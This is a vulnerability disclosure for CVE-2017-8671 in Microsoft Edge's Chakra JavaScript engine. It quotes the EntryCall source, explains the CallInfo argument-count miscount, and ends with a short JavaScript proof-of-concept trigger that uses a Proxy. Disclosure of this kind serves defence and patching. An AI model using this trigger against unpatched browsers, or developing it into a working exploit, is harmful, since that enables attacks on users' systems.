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Microsoft Edge Chakra JavascriptFunction::EntryCall Mishandled CallInfo

Posted on 17 August 2017

Microsoft Edge: Chakra: JavascriptFunction::EntryCall doesn't handle CallInfo properly

CVE-2017-8671

Here's the method.
Var JavascriptFunction::EntryCall(RecyclableObject* function, CallInfo callInfo, ...)
{
PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);

RUNTIME_ARGUMENTS(args, callInfo);
ScriptContext* scriptContext = function->GetScriptContext();

Assert(!(callInfo.Flags & CallFlags_New));

///
/// Check Argument[0] has internal [[Call]] property
/// If not, throw TypeError
///
if (args.Info.Count == 0 || !JavascriptConversion::IsCallable(args[0]))
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NeedFunction, _u("Function.prototype.call"));
}

RecyclableObject *pFunc = RecyclableObject::FromVar(args[0]);
if (args.Info.Count == 1)
{
args.Values[0] = scriptContext->GetLibrary()->GetUndefined();
}
else
{
///
/// Remove function object from the arguments and pass the rest
///
for (uint i = 0; i < args.Info.Count - 1; ++i)
{
args.Values[i] = args.Values[i + 1];
}
args.Info.Count = args.Info.Count - 1;
}

///
/// Call the [[Call]] method on the function object
///
return JavascriptFunction::CallFunction<true>(pFunc, pFunc->GetEntryPoint(), args);
}

Chakra uses the first value of "args.Values" as "this" and "args.Info.Count - 1" as the length of the arguments. So "args.Info.Count" must always be 1 or greater.

But the problem is that the method decrements "args.Info.Count" by one without considering the flag "CallFlags_ExtraArg". If the flag is set, the value of "args.Info.Count" will be decremented again in the next routine(ArgumentReader::AdjustArguments) because the last value of the arguments is not used as an actual argument. Therefore, the value of "args.Info.Count" becomes 0.

PoC:
function f() {
print(arguments);
}

let call = new Proxy(Function.prototype.call, {}); // proxy calls set the flag
call.call(f);

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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